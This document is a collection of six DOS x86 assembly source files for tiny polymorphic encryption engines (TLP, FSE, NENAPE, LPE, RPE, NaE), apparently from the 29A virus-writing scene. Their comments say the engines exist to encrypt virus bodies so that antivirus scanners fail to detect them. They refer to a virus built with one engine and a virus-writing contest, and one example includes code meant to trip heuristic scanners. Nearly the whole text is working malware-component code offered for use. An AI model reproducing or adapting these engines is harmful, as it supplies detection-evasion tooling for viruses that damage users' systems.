ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[tlp2.asm]ÄÄ ;**************************************************************************** ; TLP - Tiny Lame Poly Engine V2.0 by Dark Cobra ; Note: This engine is not intended to be useful, but rather interesting. ; That's why I made it small and useless ;) ; ; Thanks go to Darkman for pointing out an obvious optimization which I had ; accidently overseen while thinking about the difficult parts of this. His ; hint saved me one more byte, which is significant in such a short engine. ; ; Now, the engine is only 48 bytes small! :) ; ; Greatings to (in no specific order): GriYo, Darkman, VirusBuster, B0z0, ; StarZero, Super, Yesna, Serialkiller, Reptile ; ; ;**************************************************************************** .MODEL TPASCAL P386 LOCALS @@ .CODE ASSUME CS: CODE, DS: CODE, ES: CODE, SS: CODE ORG 100H EntryPoint: ; mov di, offset EntryPoint ; db 11 dup (90h) ;**************************************************************************** ; in: ES:DI = pointer to buffer for new decryptor ; SI = begin of code to be decrypted ; DX = end of code to be decrypted ; out: ES:DI = new decryptor ;**************************************************************************** ;The engine generates a decryptor of the following (general) form: ;mov r1, code_begin b8+r1 code_begin (1) ;crypt: ;xor [r1], xor_key 80 01110r1 00 (2) ;inc r1 40+r1 (3) ;cmp r1, code_end 81 01111r1 code_end (4) ;jnz crypt 75 crypt - $ (5) ;SI: 0 --> 6 00 --> 110 +6 XOR 110 ;DI: 1 --> 7 01 --> 111 +6 XOR 110 ;BP: 2 --> 5 10 --> 101 +3 XOR 110 ;BX: 3 --> 3 11 --> 011 +0 XXXXXXX xor ax, ax in al, 40h and al, 3 push ax jnp short @@2 jnz short @@1 @@2: xor al, 6 @@1: add al, 0b8h stosb xchg ax, si stosw pop ax add ax, 8074h xchg al, ah stosw in al, 40h shl ax, 8 stosw xchg ax, si sub al, (0b8h - 40h) stosb add ax, (81f8h - 40h) xchg al, ah stosw xchg ax, dx stosw mov ax, 0f575h stosw ret END EntryPoint ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[tlp2.asm]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[fse.asm]ÄÄ ;=====( Fucking Small Engine - by Rajaat / 29A )=============================== ; ; Type : Polymorphic Engine ; Comments : This polymorphic engine is very easy to detect, since uses no ; random trash code or anything else to complicate detecting the ; decryptor itself, but this is made to see how you could defeat ; scanners that still use the (in my opinion obsolete) XRAY ; technique to detect encrypted viruses. FSE uses 8-15 ; different operations on each byte, making it virtually ; impossible to do a cryptanalytic attack. ; ; Operands used by FSE to encrypt code: ; XOR SUB ADD ROL ROR NOT NEG INC DEC ; ; Registers used by FSE as pointer: ; BX SI DI ; ; Registers used by FSE as counter: ; AX BX CX DX SI DI BP ; ;=====( Fucking Small Engine - by Rajaat )===================================== ; ; DS:SI = code to encrypt ; ES:DI = place for encrypted code + decryptor ; CX = code length to encrypt ; AX = offset in target ; ;============================================================================== .model tiny .code .radix 16 public C fse ; yes, I used it in my Borland ; C virus :-D fse proc C ; fse() push bp ; preserve BP call get_offset ; get delta offset (in case you get_offset: pop bp ; are making a direct action sub bp,offset get_offset ; infector) push di es ; save some registers I need push si ; later on push cx ; push ax ; push di ; push di ; cld ; push es ; clear encrypt code buffer push cs ; (there was a bug in here when pop es ; this source was on my home lea si,end_sequencer[bp] ; page, it ES != CS it would lea di,enc_sequencer[bp] ; make incorrect encryptions) mov al,90 ; push cx ; mov cx,len_sequencer ; rep stosb ; pop cx ; pop es ; pop di ; mov ax,1f0e ; write PUSH CS / POP DS stosw ; sequence (wow, fixed code) bad_registers: call rnd_get and ax,0707 cmp ah,al ; pointer & counter can't be je bad_registers ; the same register cmp al,4 ; don't use SP! je bad_registers cmp ah,03 ; BX is pointer register je good_pointer cmp ah,6 ; or else FSE uses SI or DI as jb bad_registers ; index register good_pointer: push ax sub ah,6 cmp ah,08 jb convert_ok mov ah,3 convert_ok: mov byte ptr cs:pointer_reg[bp],ah pop ax add ax,0b8b8 push ax call rnd_get mov bx,1 inc ax pop ax jns dont_flip xchg ah,al xchg bh,bl dont_flip: stosb mov dx,di test bl,1 push ax jz no_counter call rnd_get and ax,1ff add ax,cx no_counter: stosw pop ax xchg ah,al stosb push ax bx test bl,1 jnz is_counter and ax,1ff add ax,cx jmp store is_counter: mov dx,di store: stosw mov cx,di push cx call rnd_get mov cx,ax and cx,7 add cx,7 encrypt_actions: call rnd_get no_more_than_8: and ax,1f sub ax,8 cmp ax,8 ja no_more_than_8 shl ax,1 mov bx,ax add bx,bp mov ax,word ptr cs:enc_opers[bx] test ah,80 jnz no_xor_add_sub mov ah,80 add al,byte ptr cs:pointer_reg[bp] xchg ah,al stosw call rnd_get stosb jmp xor_add_sub no_xor_add_sub: sub ah,0bc add ah,byte ptr cs:pointer_reg[bp] no_bx: stosw xor_add_sub: mov bx,word ptr cs:dec_opers[bx] cmp bh,0 jne no_xas mov bh,al no_xas: mov word ptr cs:[si],bx dec si dec si loop encrypt_actions pop cx ;=== inc/dec pointer and counter pop bx ax test bl,1 jnz pointer_first xchg ah,al pointer_first: sub ax,7078 stosb push ax pop ax xchg ah,al stosb ;=== building repeat loop cmp al,49 mov al,75 jnz no_loop dec di mov al,0e2 no_loop: stosb sub cx,di dec cx xchg ax,cx stosb xchg bx,dx mov dx,di pop ax sub dx,ax pop ax add dx,ax mov word ptr es:[bx],dx pop cx ;=== encrypt code pop si encrypt_loop: lodsb call enc_sequencer stosb loop encrypt_loop mov cx,di pop ds dx sub cx,dx pop bp ret rnd_get: in al,40 xchg ah,al in al,41 xor al,ah ret ; XOR SUB ADD ROL ROR NOT NEG INC DEC enc_opers dw 00034,0002c,00004,0c0d0,0c8d0,0d0f6,0d8f6,0c0fe,0c8fe dec_opers dw 00034,00004,0002c,0c8d0,0c0d0,0d0f6,0d8f6,0c8fe,0c0fe fse_signature db '[ FSE 1.0 by Rajaat / 29A ]',0 enc_sequencer: dw 18 dup (9090) end_sequencer equ $-2 len_sequencer equ $-enc_sequencer ret pointer_reg db 0 fse endp end ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[fse.asm]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[nenape.asm]ÄÄ ;=====( Not Even Near A Polymorphic Engine )=================================== ; ; By Rajaat ; ; The reason i wrote NENAPE was that I didn't have an engine yet that I easily ; call multiple times to generate more than one layer of encrytion. At ; the moment the encryption method is very bad, but I will hope to ; improve this soon, together with the code it generates. The main thing ; is that the encryptor is build up perfectly and that the code is ; compact yet modular. ; ; NENAPE ; ; CLEAN = 1 ; 111 bytes ; ;============================================================================== ; ; Note: I've got to extend the random opcode generator ofcourse, but you'll ; see the point I have here, i don't need much register preserving, this ; allowing me to do more shitty opcodes and obscure interrupts, making it look ; like a legitimate program ;-) ; ; And eh.... I'll promise I'll comment it ;-) Doh! ; .model tiny .code .radix 16 org 100 main: IFNDEF CLEAN call get_delta get_delta: pop bp sub bp,offset get_delta mov ax,3c00 xor cx,cx lea dx,fnam[bp] int 21 xchg ax,bx push bx lea bx,main[bp] lea di,virus_end[bp] mov ax,virus_bytes call nenape mov di,dx add di,cx mov bx,dx xchg ax,cx call nenape pop bx mov ah,40 int 21 mov ah,3e int 21 mov ax,4c00 int 21 fnam db 'V.COM',0 ; Here some shit that flags tbscan like hell ;-) mov ax,0aace int 21 cmp ax,0b00c mov ax,100 jmp ax int 12 dec ax mov word ptr ds:[413],ax cmp ax,4b00 jne $+2 mov ax,4301 int 21 mov ax,5701 int 21 cmp ax,'MZ' cmp ax,'ZM' db '*.COM',0 ENDIF ;=====( Not Even Near A Polymorphic Engine )=================================== ; ; Input: DS:BX = code to encrypt ; ES:DI = place to put encrypted code + decryptor ; AX = length of code to encrypt ; ; Output: DS:DX = encrypted code + decryptor ; CX = length of encrypted code + decryptor ; ;============================================================================== ; +6 +4 +2 +0 nenape: push ax bx si di cli call nenape_delta nenape_delta: pop si sub si,offset nenape_delta mov bx,sp mov word ptr decode_length[si],ax in al,40 mov byte ptr value[si],al lea si,decryptor[si] mov cx,decryptor_bytes / 2 create_decrypt: cld in al,40 and al,7 test al,4 jnz create_decrypt ; Extend this mov dl,al mov al,0b8 add al,dl stosb lodsw push ax stosw mov al,50 add al,dl stosb loop create_decrypt movsw mov si,word ptr [bx+4] mov cx,word ptr [bx+6] push di rep movsb pop si mov dx,word ptr [bx+0] sub di,dx mov bx,sp add bx,7 call bx mov cx,di add sp,decryptor_bytes sti pop di si bx ax ret ; Image of below remarked code pushed wordwise backwards (my personal horror) decryptor: dw 052c3h dw 0fae2h value dw 04600h dw 03480h decode_length dw 01000h dw 0b91fh dw 00e56h dw 05e41h dw 03932h ;decryptor: db '29A' ; hidden signature ;-) ; pop si ; push si ;encrypt: push cs ; pop ds ; mov cx,10 ;decode_length equ $-2 ;continue: xor byte ptr [si],0 ;value equ $-1 ; inc si ; loop continue ; ret ; db 'R' ; hidden signature :-D decryptor_bytes equ $-decryptor call sp nenape_bytes equ $-nenape virus_end equ $ virus_bytes equ virus_end-main end main ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[nenape.asm]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[lpe.asm]ÄÄ .model tiny .code .radix 16 .286 ; CLEAN = 1 ; remove ; in order to remove example code org 100 main: ;=====( Little example code that shows how to use the LPE )==================== ; ; Since it is hardly interesting I left most of it uncommented, the LPE is the ; working horse in this source. ; ;============================================================================== IFNDEF CLEAN call get_delta filename db 'LPE.COM',0 get_delta: pop si sub si,offset filename mov ax,03d02 lea dx,filename[si] int 21 push ax lea si,end_lpe[si] ; parameter settings mov di,1000 ; for lpe are done mov cx,virus_words ; here. look at lpe header call lpe ; for the info mov ah,40 pop bx int 21 mov ah,3e int 21 mov ah,4c int 21 ENDIF ;=====( Ludicrous Poly Engine by Rajaat / 29A )================================ ; ; DS:SI = offset end of virus - 2 ; ES:DI = place where to put encrypted code + decryptor ; CX = virus size in (words / 2) ; Pad your virus to an even amount of bytes, please (OR YOUR CODE DIES!!!) ; ; Returns: ; ES:DX = encrypted code+decryptor ; CX = length of encrypted code+decryptor ; All other registers might be trashed ; ; Don't forget to eventually restore the stack to it's original location before ; returning to the host, some unpredictable things might happen if you don't. ; ;=====( Why I wrote this load of crap? )======================================= ; ; Cyberyoda on #virus on undernet has started a contest to write a small virus ; in 150 bytes, and the most effective virus wins. This engine is only 50 bytes ; and generates very polymorphic code in respect to its size. ; ;============================================================================== lpe: push di ; store destination repeat_lpe: db 0d6h ; assume carry clear, so AL = 0 out 43,al ; init randomizer in al,40 ; get random number and al,7 ; save only low nibble or al,0b8 ; add 0b8, gets in MOV , cmp al,0bc ; is it 0bc (SP register) je repeat_lpe ; yes, not desirable - get another reg stosb ; store opcode push ax ; push ax ; in ax,40 ; get semi-random value stosw ; store word xchg ax,bx mov al,81 ; xor , stosb ; store opcode pop ax ; add al,38 ; get register stosb ; store register std lodsw ; get word (backwards) cld xor ax,bx ; xor word with value stosw ; store after xor opcode pop ax sub al,068 ; push stosb ; store opcode loop repeat_lpe ; repeat until all words dont mov ax,0e4ff ; jmp sp stosw ; store opcode xchg cx,di pop dx ; get destination offset sub cx,dx ; calculate length ret end_lpe equ $ ;============================================================================== virus_bytes equ $-main virus_words equ (virus_bytes shr 1) + 1 end main ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[lpe.asm]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[rpe.asm]ÄÄ ; ; I owe thanks to Dr. Dope for the 1 byte optimization. ; .model tiny .code .radix 16 .386 org 100 ;=====( RPE - Rajaats Push Engine )============================================ ; ; Minor version of LPE, redone and optimized, done by Rajaat / 29A as joke. ; ; Input : DS:SI = virus code end - 2 ; ES:DI = pushorized virus ; CX = virus bytes / 2 ; Output : ES:DX = pushorized virus (ES!!!) ; CX = pushorized virus length ; ; Align virus size to a word boundary, and leave some stack for the host. ; ;============================================================================== rpe: mov dx,di ; for ES:DX return parameter rpe_loop: in al,40 ; get "random" byte and al,7 ; make it range 0-7 add al,0B8 ; make mov cmp al,0BC ; BC = SP register, which we can't use je rpe_loop ; so we have to get another number stosb ; store opcode movsw ; add some code (in reverse order) sub si,4 ; si -= 4 (easier than cld/std shit) sub al,(0B8-50) ; get push stosb ; store it loop rpe_loop ; repeat until whole virus done mov ax,0e4ff ; get jmp sp opcode stosw ; store it sub di,dx ; calculate new length xchg cx,di ; and present it in cx ret ; done (31 bytes) end rpe ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[rpe.asm]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[nae.asm]ÄÄ comment * Nearly an Engine v 2.00 [NaE] Calling parameters: DL One byte garbage instruction CX Length of original code BP Decryptor's offset DS:SI Pointer to original code ES:DI Pointer to decryptor + encrypted code Return parameters: CX Length of decryptor + encrypted code Garbage instructions: User defined. Nearly an Engine v 2.00 [NaE] decryptor: Zero to two hundred and fifty-five garbage instruction(s). MOV DI,imm16 (Offset of encrypted code) MOV CX,imm16 (Length of encrypted code) XOR CS:[DI],imm8 (Decryption key) INC DI LOOP imm8 (Beginning of XOR CS:[DI],imm8) Min. decryptor size: 13 bytes. Max. decryptor size: 268 bytes. Nearly an Engine v 2.00 [NaE] size: 58 bytes (excl. ' [NaE] '). * nae_begin equ $ ; Begining of Nearly an Engine v 2... nae_poly proc near ; Nearly an Engine v 2.00 [NaE] push si cx ; Save registers at stack lea si,cryptor ; SI = offset of cryptor mov [si+(crypt_length-cryptor)],cx in al,40h ; AL = encryption/decryption key mov [si+(crypt_key-cryptor)],al xor ax,ax ; Zero AX in al,40h ; AL = number of garbage instructi... push ax ; Save AX at stack xchg ax,cx ; CX = number of garbage instructi... xchg ax,dx ; AL = garbage instruction rep stosb ; Generate random number of garbag... pop ax ; Load AX from stack mov cl,(cryptor_end-cryptor) add ax,cx ; AX = length of decryptor add bp,ax ; BP = offset of plain/encrypted c... mov [si+(crypt_offset-cryptor)],bp rep movsb ; Move the decryptor above the gar... pop cx si ; Load registers from stack push di ; Save DI at stack rep movsb ; Move the plain code above the de... pop di ; Load DI from stack db 00111010b ; CMP BH,[BP+imm16] (opcode 3ah) cryptor: crypt_offset equ word ptr $+01h ; Offset of plain/encrypted code mov di,00h ; DI = offset of plain/encrypted code crypt_length equ word ptr $+01h ; Length of plain/encrypted code mov cx,00h ; CX = length of plain/encrypted code crypt_loop: crypt_key equ byte ptr $+03h ; Encryption/decryption key xor byte ptr cs:[di],00h inc di ; Increase index register loop crypt_loop cryptor_end: xchg ax,cx ; CX = length of decryptor add cx,dx ; CX = length of decryptor + encry... ret ; Return! endp engine_name db ' [NaE] ' ; Name of the engine nae_end equ $ ; End of Nearly an Engine v 2.00 [... nae_size equ $-nae_begin ; Size of Nearly an Engine v 2.00 ... ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[nae.asm]ÄÄ